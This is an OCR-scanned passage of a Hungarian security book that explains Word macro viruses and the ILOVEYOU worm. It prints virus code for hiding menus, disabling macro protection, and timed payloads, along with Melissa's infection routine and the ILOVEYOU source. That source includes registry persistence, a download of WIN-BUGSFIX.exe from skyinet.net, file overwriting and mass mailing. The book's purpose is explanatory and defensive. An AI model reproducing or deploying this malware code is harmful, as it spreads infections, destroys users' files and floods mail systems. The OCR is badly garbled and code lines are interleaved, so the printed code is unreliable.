Else If Activinstall = False And Norminstall = True Then Set Dobj =

Active Document. VB Project
Itt a feltétel forditva is atfut: Ha a Normal.dot-ban és nem az aktiv doku-
mentumban vagyunk, akkor a Dobj NormalTemplate. VBProject-re lesz al-
litva, hogy késGbb kivaltsa az aktiv dokumentumba importélast.
Dobj. VBComponents.Import ("c:\demo.sys")
Itt importélja az elején exportalt fajlt (a virust). Hogy melyik fajlba lesz
csomagolva, az attdl fligg, hogy mire lett allitva a Doby.

Most néhany funkcid kovetkezik, amelyeket be lehet épiteni.

Az alcazashoz - stealth

A Word alapértelmezésben megmutat egy modult a VB Editorban, ezenki-

vill a Normal.dot-on keresztil célzottan méasolni is lehet a makrdkat. Az dlcazds



tehat azt jelentené, hogy a makrovirust elrejtjiik. Ez tigy megy a legegyszertib-
ben, ha nem lehet a meniikbdl elinditani a megfelelS funkcidkat. Ezen a helyen
a ritkdn hasznalt parancsok elrejtése a Word 2000-ben kiilonosen végzetesen
hat: a felhaszndld e bedllitas miatt egyaltalan nem vesz észre bizonyos beavat-
kozasi lehet8ségeket. A virus eltavolitja ezeket a bejegyzéseket, és sokkal to-
vabb marad észrevétlen.

CommandBars("Tools").Controls("Macro”). Delete
Kiveszi a makréokra vonatkozé mentiparancsokat.

CommandBars("Tools"). Controls("Templates and Add-Ins... "). Delete
Kiveszi a sablonokra és a b&vitményekre vonatkozé meniiparancsokat.

CommandBars("Format").Controls("Style... ").Delete *
Kiveszi a stilusokra vonatkozd meniiparancsokat.

Options. VirusProtection = False
Eltavolitja a virusvédelmet, amelyekkel a Word a dokumentumokban
eléfordulé makrokra reagal.

Options.SaveNormalPrompt = False

Ezzel a paranccsal kikapcsolja a parbeszédablakot, amely alapértelmezés-
ben rakérdez a Normal.dot mentésére, igy anélkiil lehet megvaltoztatni a
Normal.dot-ot, hogy azt a felhasznal6 észrevenné. Fontos még: mivel en-
nek a funkciénak a kikapcsoldsa a hattérben torténik, a hidnyat csak az
veszi észre, aki jol kiismeri magat a Wordben.

A rejtézkodéshez bizonyos meniiparancsok kikapcsolasa is fontos, ami meg-
valdsithaté néhany programsorral.

Sub ToolsMacro( )

On Error Resume Next

End Sub

Ha a felhaszndl6 az Eszkozok/Makro/Makrok-ra. Kattint, lefut ez a sub. A
felhasznalé nem lathatja a parbeszédmezét.

Sub FileTemplates( )

On Error Ressume Next

End Sub

A felhasznél6 nem tudja elinditani a Sablonok és bévitmények ablakot.

SubViewVBCode( )

On Error Resume Next

End Sub

A felhasznalé nem tudja elinditani a VB editort.

Sub
WordBasic. DisableAutoMacros = 0
End Sub

Az automakrok inaktivva valnak.

A Word kérdését, hogy a makrdkat lefuttassa-e, a kovetkezd paranccsal le-
het kikapcsolni a Registry-bdl.

System. Private ProfileString("","HKEY CURRENT USER\Software\
Microsoft\Office\9.0\\Word\SecTirity", ,Levél") = /&

A Programhiba esetén az On Error Resume Next -tel egyszertien tovabbfut.

5.5.5 llyet is lehet: a virus egy Payload-ot hiv meg

Hogy a virus ne legyen azonnal aktiv, egy folyamatellenSrzési lehet8séggel
is fel van ruhdzva. A fert6zésszdmldlo pontosan ezt a lehet8séget kindlja. Ehhez
el kell helyezni egy kulcsot valahol a Registry-ben, azutan nulldndl megtorténik

a gonoszkodas. Ugyanigy egy bizonyos napot is lehet haszndlni. A megfeleld
kddsorok egyszert [flekérdezések.

If Month(Now( )) =1 And Day(Now( ) =1 Then Call Payload
'Ha az aktudlis ddtum janudar L, akkor menj a payloadra.

If Month(Now( )) =1 And Day(Now( ) =1 Then Call Payload
'Ha az aktualis ddtum janudr 2., akkor menj a Payloadra.

Természetesen a rendszeres Osszehasonlitas egy véletlenszammal is lehetsé-
ges. Ha a szdm és a valtozd megegyeznek, akkor kovetkezik be az esemény:
x=Int(Rnd * 100)

'X egy valtozd, amely egy 0-100 kozti szdmot tartalmaz.
Ifx = 3 then Call Payload

'Ha x, menj a Payloadra.



5.5.6 A virus fajltulajdonsagokat vagy
szovegtartalmakat valtoztat meg

A Payload mogott kiillonféle ténykedések rejt6zhetnek, amelyeket az id6zi-
tett kioldo valt ki. Példaul megvaltozhatnanak a dokumentum-tulajdonsagok:

hirtelen egy Dagobert kacsa irta a levelet vagy ilyesmi:

Sub Payload( )
ActiveDocument.ReadOnlyRecommended = False

With Dialogs(wdDialogFileSummarylnfo)
Author = "Szerzd"

Title="Cim"

.Subject = "Targy"

.Comments = "Megjegyzések"

.Keywords = "Keresdszo"

.Execute

End With

End Sub

Ugyanigy szavakat is kicserélhetiink Word parancsok segitségével. A ked-
velt Keresés-Csere funkcid most a virust segiti:

Sub Payload( )

On Error Resume Next

Selection.HomeKey Unit:=wdStory
Selection.Find.Replacement.ClearFormatting
With Selection.Find

Text = "Mit keres" ‘a cserélendd szoveg
.Replacement. Text = "Mire cseréli" ‘amire cseréli
.Forward=True

Wrap = wdFindContinue

.Format = False

MatchCase = False

.MatchWholeWord =True
.MatchAllWirdForms = False

End With
Selection.Find:ExecuteReplace:=wdReplaceAll
CommandBars("edit").Controls("UndoVBA-Find.Execute"). Delete

CommandBars("edit").Controls("Repeat” Replace...").Delete

CommandBars("edit").Controls("Replace... "). Delete
If ActiveDociment.Saved = False Then ActiveDocument.Save
End Sub

5.5.7 Avirus jelszéval védi a fajlt

A jelszavas védelmet is be lehet kapcsolni egy makrovirussal:

Sub Payload( )
ActiveDocument. Password = "hallo”

'Persze lehet véletlenszerii jelszot is csindlni.
End Sub

Ezentul biztosan masképpen fogjak kezelni a Word-figyelmeztetést. A vi-
rusvizsgaldnk legyen mindig a legfrissebb, és hasznaljuk minden alkalommal,
ha kapunk egy Word vagy Excel dokumentumot. Sajnos, egyes virusprogramo-
7Ok sportot tiznek abbol, hogy mindig j fert6§zési mdédokat talaljanak ki. Szaz-
szazalékos védelem nem létezik, de hatékony megel6zés azért lehetséges.

5.6 Megfert6zott osztalymodulok

A WinWord dokumentumok megfert6zésének egy masik modja az osztdly-
modulok megfertdzése, ami sokkal nehezebbé teszi a virus felfedezését. Az osztaly-
modulok bizonyos mértékig sajat meghatarozasu vezéridelemek, amelyeknek ma-
gunk irhatjuk a forraskddjat. Az osztalymodulok ezért ugyanazokkal a tulajdon-
sagokkal rendelkeznek, mint a vezérlelemek, vagyis egy objektumot definid-
lunk tulajdonsagokkal és eljarasokkal. Az osztdlymodulok abban kiilonboznek a
felhasznélé altal meghatdrozott vezérlGelemektdl, hogy kvazi ,,lathatatlanok”.

Az osztilymodulok a felhasznalé szamdara nem olyan konnyen felismerhe-
t6k, mert a makrokhoz és sablontartalmakhoz tartozé Makro és a Szervezd ab-
lakban nem mutatja 6ket a program. Aki szeretne utananézni, ugy taldlja meg
ezt a parbeszédablakot, ha az Eszkozok/Makrd/Makrok Szervezdre Kattint.

Az osztalymodulok megfert6zésének a stratégidja mas, mint az eddig bemu-
tatott makrévirusoké: itt mar nem exportalnak és importdalnak egy kédot min-
den jovenddébeli Word féjlba, véllalva a felfedezés veszélyét, hanem beolvassiak
a kodot, és ezt a sztringet illesztik be egy masik osztdlymodulba. A viruskéd



megnyitdskor lathatatlanul integralédik minden tovabbi dokumentumba. A " Az indexszdm 1 a VBComponents(l)-nél mindig a ,, ThisDocument"
programozds stukturdjahoz egyszertien azt kell elképzelni, hogy a virus végre- osztalymodul,

hajtddik, és csak a dokumentumban vagy a Normal.dot-ban lehet. A kdd beolva- " amelyet meg kell fert6zni.

sasdhoz tehat ki kell taldlni, hogy hol vagyunk, abbdl azutian mar logikusan ko- Else

vetkezik, hogy mit kell megfert&zni.

"ha nem a Normal.dot-ban vagyunk, mar csak egy lehet8ség marad hatra
ime egy példavirus, kommentdrokkal a kédban, hogy vildgossd tegye a mo-

Set Source = ActiveDocument. VBProject. VBComponents(1).CodeModule

Private Sub Document Open()

"Ez a Sub mindig lefut, ha egy dokumentumot megnyitnak.

' Figyelembe kell venni, hogy a SUB Privaté. Egy osztidlymodulban
mindennek

' Private-nak kell lennie. Ha ezt valaki elfelejti, annak fert6zésnél azonnal
hibat jelez.

" A Sub neve is megvaltozott. Most Document_Open( ) a neve, nem pedig
"AutoOpen( ).

On Error Resume Next

gotte rejlé meggondolasokat. SetTarget=

NormalTemplate.VBProject. VBComponents(1).CodeModule
End If

With Source

VirCode = .Lines(l, .CountOflines)
End With
" Ha egy objektumot egy With...End With-blokkba zarunk, akkor nincs
sziikség
" az objektumnéyv ismétlésére.

' Tehéat ott van, hogy Source.Lines(l, Source.CountOflines)

' Most a teljes viruskdd a VirCode-ba lesz beolvasva.
" Source.CountOflines adja vissza a sorok/Lines szdmat a modulban.
' .Lines(az 1. sortél beolvasni, annyi sort, amilyen hosszti a modul),

With Target

.DeleteLines 1, .CountOflines
' A megfertézendd fajlban minden sort tordlni kell. Az 1. sortdl kezdve,

' a szokdsos torténet a hibaval

MyPos = ThisDoaiment. Name
' Mivel nem tudjuk, hol vagyunk (a Normal.dot-ban vagy a dokumentumban)
'a ThisDocument.Name adja a valaszt

If MyPos = , Normal.dot" Then

Set Source = ... annyi sort kell tor6lni, amilyen hosszii a modul.
NormalTemplate.VBProject. VBComponents(l). CodeModule ...." Ezzel biztosak lehetlink abban, hogy ott mar semmi sincs. Ha a virus
Set Target = Active Document. VBProject. VBComponents(l).Code Module ott mar

'Ha a Normal.dot-ban vagyunk, tudjuk, hogy az aktuélis dokumentumot ...." megtaldlhaté lenne, és beirjuk a modulba, anélkiil, hogy el§z8leg t6-
kell rolnénk

" megfert6zni, és hogy a viruskdd a Normal.dot-bdl jon. ' a sorokat, az hibatizenethez vezetne.

" Létrehozzuk a valtozéinkat. De lehetséges, hogy mar az aktudlis doku- UnsetLines [, VirCode

mentum is " A beolvasott sztring beillesztése a modulba.

' fert6zott. Ezt ebben a példdban nem ellendrizziik, " Az 1. sortdl kezdve, és VirCode a sztring.

" mert minden kéd megfert§zésénél azok, amelyek el6z8leg ott voltak, End With

torolve

' lesznek. igy ez csak elpazarolt processzoridS. Ez azonban azt is jelenti,

Egy igazi virus persze sokkal nagyobb ennél, és még Stealth-funkcidkat is
" hogy ha ott egy masik virus volt, ezt az uj feliilirja. tartalmaz.

' ActiveDocument. VBProject. VBComponents( 1). CodeModule



Az aldbbiakban egy példaval vilagitjuk meg, hogyan fert6zi meg az

osztalymodulatokat a Melissa:

CUT HERE

Privaté Sub Document_Open()

On Error Resume Next

Set ASI1 = ActiveDocument.VBProject. VBComponents.Item(l)
'Allitsd ADIl-et ActiveDocument.VBProject.VBComponents.Item(1)

-re.

Set NTII NormalTemplate. VBProject. VBComponents.Item(l)
'Allitsd SetNTIl-et

NormalTemplate,VBProject. VBComponents.Item(l)-re.
NTCL = Hni.CodeModide-.CountOfLims
ADCL = ADIl.Code Module.CountOfLines

BGN =2

IfADILName <> "Melissa" Then

IfADCL>OThen_

ADIl.CodeModule.DeleteLines 1, ADCL

SetTolnfect = ADII

ADILName = "Melissa"

DoAD = True

End If

If NTILName <> "Melissa" Then

IfNTCL >0 Then _

NTIl.CodeModule.DeleteLines 1, NTCL
SetTolnfect=NTIl

NTILName = "Melissa"

DoNT =True

End If

IfDoNT <> True And DoAD <>True Then GoTo CYA
If DONT = True Then

Do WhileADIIl.CodeModule. Lines(1, 1) =""

Do While ADIl.CodeModule.Lines(BGN, 1) <>""

Tolnfect.CodeModule.InsertLines BGN,

ADIl.CodeModule.Lines(BGN, 1)

BGN = BGN + |

Loop

End If

If DoAD = True Then

Do While NTIl.CodeMOdule.Lines(1, 1) =""

NTII.CodeModule.Lines

Loop

Tolnfect.CodeModule. AddFromString ("Private Sub

Document_Open()")

Do While NTIl.CodeModule.Lines(BGN, 1) <> "™

TolnfectCodeModule.InsertLines EGN, NTIl.CodeModule. Lines(BGN, 1)

BGN = BGN +1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(l, ActiveDocumentName,
"Document") = False) Then

ActiveDocument.SaveAsFileName:=ActiveDocument.FullName

Elself (InStr(l, ActiveDocumentName, ,,Document”) <> False) Then

ActiveDocument.Saved =True

End If

End Sub

CUT HERE

5.7 ILOVEYOU

A LoveLetter egy VBS-féreg (Vimal Basic Script) amely e-mailen keresztiil ter-

jed, mellékletként. A LoveLettert el6szor 2000. majus 4-én jelezték. Néhany
6ran beliil vilagszerte elterjedt, és a hdldéra csatlakoztatott cégek 90% -dt meg-
fertézte. Most minden idSk egyik legveszélyesebb virusat fogjuk alaposabban
szemiigyre venni.

ADII.CodeModule.DeleteLines 1

Loop
Tolnfect.CodeModule. AddFromString ("Private Sub

Document_Close()™)



5.7.1 Miazaféreg?

A féreg egy darabkanyi kéd, amely magdtdl terjed az interneten vagy a helyi
haldzaton keresztiil. A virussal ellentétben a féreg nem kozvetleniil rombol. A
féreg, mint az ILOVEYOU esetében, legfeljebb magas forgalmat (traffic) ge-

neral.

5.7.2 A miikédési méd

Az ILOVEYOU féreg egy weboldalrdl toltott le egyes bannereket, amelye-
ket azonban hamarosan nem lehetett elérni, mivel a Fiilop-szigetek-i szolgalta-
té, a Sky Internet Inc., gyorsan kapcsolt, és torolte a webhelyet.

Ugyanott a féreg a WIN-BUGSFIX programot is le akarta tolteni, amely
jelszavakat kémlel ki, és ezeket Access Net accountokra kellett volna kiildenie,
ezzel az lizenettel: Bdrok...e.mail.passwords.send.er.trajan-by spyder.

A féreg manipuladlta még a kovetkezS Registry-bejegyzéseket:

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

\MSKernel32
HKEY LOCAL MACHINE\Sofrware\Microsoft\Windows\CurrentVersion\Run

Services\Win32DLL
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

\WIN-BUGSFIX

Miutan lefuttattdk, automatikusan elkiildte magat a cimjegyzék e-mail-
cimeire. Igy nagy forgalom keletkezett a cégek belsé haldzati mailszerverein,
aminek kovetkeztében néhany céges haldzatnak teljes egészében le Kkellett

mondania a mailkiildésrél. ,
A féreg az Outlookon és a mIRC-en keresztiil is terjedt. Ugy mddositotta a

mlIRC script.ini f4jljat, hogy egy csatorna minden latogatdja, amelyek kozott ott

volt a fert6zott is, megkapta a .vbs fajlt,
A legdestruktivabb azonban az a tény volt, hogy minden Js, .jse, .css, .wsh,

.sct, .hta, .vbs, jpeg, .jpg fajlt haszndlhatatlanna tett, illetve elrejtette az .mp3 és
az .mp2 fajlokat.

Mikozben a féreg aktiv volt, a Taskmanager-en is megjelent mintw_srcipt. Eb-
ben az esetben gyorsan be kellett zarni ezt a feladatot, vagy a gépet is rogton kiléni!

A féregnek egy varidnsa aktivalta a jelszo cache-elést, és ezutdn a cache-elt
jelszavakat elkiildte mailben.

Az eddig ismert valtozatok:
ILOVEYOU

+ Susitikim shi vakara kavos puodukui...

» Joke

Mothers Day Order Confirmation
* Dangerous Virus Warning

Virus ALERT!!!

Important! Read carefully!!
I Cant Believe This!!!
* Thank You For Flying With Arab Airlines

* Variant Test

* Yeah, Yeah another time to DEATH...
+ LOOK!

» How to protect yourself from the ILOVEYOU bug!

Az Amable Mendoza Aguila Computer College-ben, a Spyder nevet hasznalo
hacker munkahelyén 10 személyt gyanusitottak azzal, hogy részt vettek a Bdrok
2.1 szoftver fejlesztésében.

Id6kozben a hackereknek volt idejiik, hogy minden doéntd bizonyitékot to-
roljenek a gépeikrSl, mig a hatésdgok napokon at semmit sem tettek.

A féreg, hivatalos szamok szerint, 600 ezer szimitogépet ért el, a nem hiva-
talos szamok azonban ennél jéval magasabbak, mivel ezekbe a statisztikdkba
nem keriilnek be a maganfelhasznaldok gépei. A karokat tobb millidrd dolldrra
becsiilték, s ez az érintett szerverek tisztan materidlis kiesési ideje, a rendszer-
gazdak félelmeit és feldiihitését még egyaltalan nem szdmoltuk. Két prominens
aldozat is volt: a ZDF tévéado és az Expo-vildgkidllitds. Sok cég megel6zéskép-
pen levalasztotta mailszerverét a netrdl.



Az eset egyediili nyertesei az antivirusok gyartdéi voltak, akiknek a részvényei
10%-kal is emelkedtek.

5.7.3 Hogyan tudott a féreg elterjedni?

A féreg terjedésének az alapja az volt, hogy manapsag, f6leg az internetes
Ujoncokban, nem tudatosulnak a haléval kapcsolatos veszélyek.

Ennek a féregnek semmi esélye sem lett volna, ha minden végfelhasznalé
tudott volna a Visual Basic Script veszélyeir6l.

Sokan azt hitték, hogy csak a végrehajthaté fajlok, mint az .EXFE vagy a
.COM fijlok jelenthetnek veszélyt. Az, hogy ActiveX-kontrollok ¢és mas
scriptek is veszélyesek lehetnek, még nem ismert dltaldnosan. Az ILOVEYOU
virus téma a multban nagyon gyakran szerepelt a médidban, de sehol nem je-
lent meg réla még felvildgositds, nemhogy egy analizis hattérinformdciokkal a
felhasznaldkszdmara.

Ellenintézkedésként ajanlkozik a WindowsScripting hostok eltavolitdsa
uninstall-lal, és a Registry-bejegyzések eltavolitdsa, valamint a *.vbs fajlok torlése a
Windows és a Windows/System konyvtarbol.

5.7.4 A forras - kommentarokkal

A tovabbiakban az ILOVEYOU virus forraskdédja ladthatd, de hangstlyoz-
zuk, hogy ebben a formdjaban teljesen hatdstalan. A célja csak a felépités bemu-
tatdsa és kommentéldsa sorrdl sorra. A virus a Windows Scripting Host-tal haj-
tédik végre.

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / OGRAMMERSoft Group /

Manila, Philippines

Ezek a sorok csak szerz8i kommentarok, tehdt a szerzé mailcime és alneve, a

virus miikodésére nincs semmilyen hatdsuk.

On Error Resume Next
dimFSO,dirsystem,dirwin,dirtemp,eq,ctr.file,vbscopy,dow
eq=""

ctr=0

Az On Error Resume Next-tel a hibakezelést vezeti be: ha a program futtatdsa
kozben hiba 1ép fel, akkor a kovetkezd 1€péssel kell folytatni, hibatlizenet nélkiil.
Ezutdn definial néhany valtozot, ezekkel a valtozdkkal fog a késébbiekben dol-
gozni.

Set so = CreateObject("Scripting. FileSystemObject”)
set file = fso. Open TextFile (Wscript. ScriptFullname, 1)
vbscopy=file. ReadAH

A program ezutdn egy FileSystemObject-et (fso) hoz létre. Ezzel az objek-
tummal lehet f4jlokat elérni. A kovetkez$ sorban ez meg is torténik: a program
az OpenTextFile-lal és az azutan kovetkez8 ReadAll() -1al beolvassa magat a me-
moridba.
main()
submain()
On Error Resume Next
dim Tvscr,rr
setivscr=CreateObject("Wscript.Shell")
rr=scr.Regread("HKEY CURRENT USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout")

if (ir>=1) then

wscr. RegWrite "HKEY CURRENT _USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0, "REG _DWORD"

end if

Set dirwin =fso0.GetSpecialFolder(0)

Set dirsystem =f50.GetSpecialFolder(l)

Set dirtemp =fso.GetSpecial Folder(2)

Set ¢ =fso.GetFile(Wscript.ScriptFull Name)

c. Copy(dirsystem& "\MSKernel32.vbs")
c.Copy(dirwin& "\Win32DLL.vbs")
c.Copy(dirsystem& "\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
spreadtoemail()
listadriv()

end sub



Innentdl kezdddik a virus férutinja.

ElSszor aCreateObject()-tel egy Shell objektumot hoz Iétre - ez az objektum
teszi lehetévé a Windows kiillonb6z6 funkcidinak az elérését. Ki lehet példaul
olvasni a Registry-t, és irni lehet bele, ami késébb meg is torténik.

A Set parancsokkal kérdezi le a program a Windows konyvtarait (dirwin),
valamint a Windows/System (dirsystem) konyvtarat, hogy azutan a maga egyik
masolatat tegye le a kovetkezd neveken: MSKernel32.vbs, Win32DLL.vbs, illet-
ve LOVE-LETTER-FOR-YOU.TXT.vbs. Ezek a fajlok tehat kizardlag a virust
tartalmazzak.

Mikor a virus igy bemadsolta magat, hozzakezd az igazi feladatdhoz, amihez a
kovetkezd fiiggvényeket hivja meg: regruns(), html(), spreadtoemail() és listadriv( ).

A html( ) egy helyi HTML-f4jlt helyez el, amely valdéjaban még egyszer tar-
talmazza a virust, és ezt inditaskor végrehajtja.

A tObbi funkciot a forrasszoveg folyamatdban magyardzzuk el, a miikodési
modjukkal egyiitt.

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY _LOCAL_MACHINE\Software\Microsoft\Windows
CurrentVersion \Run \MsKernel32 ",dirsystem& "\MSKernel32.vbs"
regcreate
"HKEY LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion \RunServices\Win32DLL " dirwin8i "\Win32DLL.vbs"
downread=""
downread=regget("HKEY CURRENT USER\Software\Microsoft\
Internet Explorer\Download Directory”)
if (downread="") then

"_o.n

downread="c:

en if

if<fileexist(dirsystem& "\WinFAT32.exe")=l) then

Randomize

num = Int((4 * Rnd) +1

if num = I then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
Page", "http.//www.skyinet. net/
~yotmg [

s/HJKjnwerhjkxcvytwertn MT Fwerdsfimh Pnjw658 1345gvsdfl6 19njbv YT/
WIN-BUGSFIX.exe

elseif num = 2 then
regcreate  "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
Page”,  "http.//www.skyinet.net/
~angelcat/skladjflfdigh KJnmtry DG Fikj UlyqwrWe546 786 324hjk4jn HH
GbvbmKL/
JKjhkqj3w/
WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate  "HKCU\Sofrivare\Microsoft\Internet Explorer\Main\Sart
Page", "http.//www.skyinet.net/
~koichi/jf6 TrjkcbGRpGqaql98vb FV5hfFEjbop BdQZnmpOhfgER6 1b3VIrvg/
WN-BUGSFIX.exe"
elseif num = 4 then
regcreate  "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
Page ", "http.//www.skyinet. net/~chu/
sdgfhjksdfikIN Bmnfgk KL Hijkq ‘wtii HJ BhAFS DGjkh Y Ugq werasdjh
Phjasfdglk N Bhbq'webmznxcbvnmadshfgq'w23 1461234iiiylthjg/
WIN-BUGSFIX.exe
end if
end if

if (fileexist(dovmread& "\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY LOCAL MACHINE\Software\Microsoft\Windows\Current
Version\Run \  WIN-BUGSFIX",downread& "\WIN-BUGSFIX.exe"
regcreate "HKEY CURRENT_ USER\Software\Microsoft\Internet
PExplorei;\'Main \Sart
age
"abo%-blaék g
end if
end sub

A regruns( ) funkcidnak kiilonb6z6 feladatai vannak a Registry-ben.
A CurrentVersion/Run alatt két kulcsot hoz 1étre, mindkett§ a virus el6zbleg
létrehozott masolatara mutat, MSKernel és Win32DLL név alatt.



A Run alatti bejegyzések a Windows inditasakor automatikusan lefutnak. Ez
azt jelenti, hogy a kovetkez8 rendszerinditdskor a virus ismét elindul, és tjbol
kezdi a miikodését. Ezutan a virus az Internet cache-t keresi, tehat azt a konyv-
tarat, amelybe a megfelel$ fajlokat tolti az Internet Explorer. Ha a virus nem ta-
14l cache-t, egyszertien a C:-t hasznélja.

Most a program megvaltoztatja az Internet Explorer kezdGlapjat, ehhez négy
kiilonb6z8 oldal szolgal vélasztékul, amelyek koziil véletlenszerien valaszt ki
egyet. Minden oldal a skyinet.net egyik szerverére vezet. ErrSl az oldalrdl azu-
tdn még egy tovabbi fajlt is automatikusan let6lt a virus, ez a fajl megintcsak
bejegyzi magat a Registry-be, Ugy, hogy a kovetkezd Windows-inditasnal vég-
rehajtédik, s tAmogatja a virus miikodését.

Roviddel az ILOVEYOU megjelenése utan azonban a skyinet.net 1épett, és
eltavolitotta a szerverrdl a megfelel$ oldalakat.

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =fso0.Drives
For Each din de
Ifd.DriveType = 2 or d.DriveType=3 Then
folderlist(d.patb&"")
end if
Next
listadriv =s
end sub

Ez a fliggvény minden meghajtét kilistaz, és ezutan meghivja a folderlist
fliggvényt, amely a meghajtokon taldlhaté minden mappat megdolgozza.

sub  folderlist(folderspec)
On Error Resume Next
dimf,f1,sf
set f=fso. GetFolder(folderspec)
set sf=f.SubFolders
for each fI in sf
infectfiles(f1.path)
Jolderlist(f1.path)
next
end sub

Minden mappdn végrehajtja az InfectFiles funkciét. Ez a funkcié a mappak
egyes fajljait szerkeszti, s hogy pontosan mit is tesz, az majd késébb kovetkezik.

Minden f4jlt felsorol, amelyet meg fog fert6zni:

sub  infectfiles(folderspec)

On Error Resume Next

dimf,f1.fc, ext, ap, mircfname,s, bname, mp3
set f=fso. GetFolder(folderspec)

set fc =f.Files

for each fI infc

ext=fso. GetExtensionName (fI .path)
ext=Icase(ext)

s=Icase(f().name)

if (ext="vbs") or (ext="vbe") then

set  ap=fso.0penTextFile(f0).path,2,true)
ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (Ext='sct") or

(ext="hta") then

set ap=fso. OpenTextFile(fl.path, 2, true)
ap.write vbscopy

ap.close

bname=fso.GetBaseName  (fl.path)
set  cop=fso.GetFile(f0.path)
cop.copy(folderspec& ""&bname& ".vbs")
fs0.DeleteFile(f().path)

elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(fl.path, 2, true)
ap.write vbscopy

ap.close

set  cop=fso.FetFile(fl.path)
cop.copy(fl.path& ".vbs")
fs0.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then
setmp3=fso.Create TextFile(fl.path& ",vbs")
mp3.write vbscopy

mp3.close



set  att=fso.GetFik(f1.path)
att.attrihites=att.attributes+2
end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe”) or (s="mirc.ini") or (s="script.ini")
or (s="mirc.hlp") then

set scriptini=fso.Create TextFile(folderspec& "\script.ini")

script.ini. WriteLine  "[script]

script.ini. WriteLine ";mIRCScript"

script.ini. WriteLine "; Please dont edit this script... mIRC will corrupt, if
mIRCwill"

script.ini. WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"”

script.ini. WriteLine ;"

script.ini. WriteLine ";KhaledMardam-Bey"

script.ini. WriteLine ";http://www. mirc. com "

script.ini. WriteLine ;"

script.ini. WriteLine "nO=on 1:JOIN:#:{,

script.ini.WriteLine "nl=/if(==) {halt}”

script.ini. WriteLine "n2=/.dcc send

"&dirsystem&\LOVE_LETTER FOR YOU HTM"

script.ini. WriteLine "n3=}"

script.ini.close

eq=folderspec

end if

end if

next

end sub

Az InfectFiles -nak két feladata van,

1. Megkeres minden, megadott kiterjesztésl (s, .wsh, .css stb.) fajlt, és a sajat
magardl készitett masolattal irja feliil ezeket.

2. Ha talél egy mIRC-et (Chat Scriptet), akkor feliilirja a script.ini-t. Ez a script,
ha lefut, ugyancsak a virust terjeszti ugy, hogy egy LOVE LETTER FOR
YOU.HTM nevii f4jlt kiilld a csatorna minden felhaszndl6janak.

A kovetkezd fiiggvények segédfiiggvények, amelyeket a program mas pont-

jain hasznal fel. Ezek a fliggvények egy Registry-bejegyzést készitenek, és ellen-
6rzik, hogy léteznek-e bizonyos fajlok vagy mappak.

sub regcreate(regkey,regualue)
Setregedit =CreateObject("Wscript.Shell")
regedit. RegWrite regkey,regvalue

end sub

functionregget(value)
Set regedit = CreateObject("Wscript.Shell")
regget=regedit. RegRead(value)

end function

Sfunction fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExist(filespec))  Then
msg =0

else

msg =1

end if

fileexist = msg
end function

Sfunction folderexist(folderspec)

On Error Resume Next
dim msg
if (fso. GetFolderExist(folderspec)) then
msg =0
else
msg=1
end if

fileexist = msg

end funrtion

subspreadtoemail()
On Error Resume Next
dimx,a,ctrlists,ctrentries,malead, b, regedit,regv,regad



setregedit=CreateObject("Wscript.Sheir)

set out=WScript. CreateObject("Outlook.Application ")
set mapi=out. GetNameSpace("MAPI")

for ctrlists=1 ro mapi.AddressLists.Count

set a=mapi.AddressLisets(ctrlists)

x=I

regv=regedit. RegRead("HKEY CURRENT USER\Software\Microsoft\
WAB"&a)

if(regv="") then

regv=I

end if

if (int(a.Address Entries. Count >inr(regv)) then
for ctrentries=[ to a.AddressEntries.Count
malead=a.Address Entries(x)
regad=""
regad=regedit. RegRead("HKEY CURRENT USER\Software\
Microsoft\WAB"&malead)
if(regad="") then
set male=out.Createltem((0)
male. Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body =vbcrlf& "kindly check the attached LOVELETTER comingfrom
me."
male.Attachments. Add(dirsystem& "\LOVE-LETTER-FOR-YOU. TXT.
vbs")
male.Send
regedit. RegWrite
"HKEY CURRENT USER \Software \Microsoft\WAB"&malead, 1,
"REG_DWORD"
endif
x=x+l
next
regedit. RegWrite
"HKEY CURRENT _USER\Software\Microsoft\WAB"&:a,a.
AddressEntries. Count
endif

next

Set out=Nothing
Set mapi=Nothing
end sub

A SpreadToEmail() figgvény megnyitja a programot, amelyben a Windows
minden mailcimet tarol, tehat a cimjegyzéket (WAB.EXE), hogy azutan a cim-
jegyzékben taldlt minden cimre elkiildje a virus masolatat.

Ez a program tulajdonképpeni terjedési modja: lefut, és elkiildi magat min-
den cimre, amit taldl. Csak ezért tudott ennyire gyorsan elterjedni.

Amint latjuk, az ILOVEYOU, az egyszerlisége ellenére, igazan komplex
funkcidkkal van felszerelve. A kar, amelyet a felhasznaldkndl hatrahagyott,
tobbnyire csekély, csak kiilonb6z8 script-faljokat irt at. Az internet-, illetve
mailszolgaltatok kdra viszont - a feldolgozhatatlan mennyiségli e-mail miatt -
milliés volt.

5.8 Hogyan miikodnek avirusvizsgalék?

A virusvizsgdlo egy adatbdzist haszndl, amely minden felismerhetd virus ne-
vét és lenyomatat tartalmazza. A legtobb virusvizsgdlo frissitésekkel folyamato-
san bdviti az adatbazisat, ehhez a szoftver gyartdi sajat viruslaborokat tartanak
fenn, dgynevezett nyomozdcsapatokat foglalkoztatnak, és latogatjak az idevagd
newsgroupokat, hogy folyamatosan tudjanak reagdlni az 1j fenyegetésekre.

5.8.1 Szkennermodul

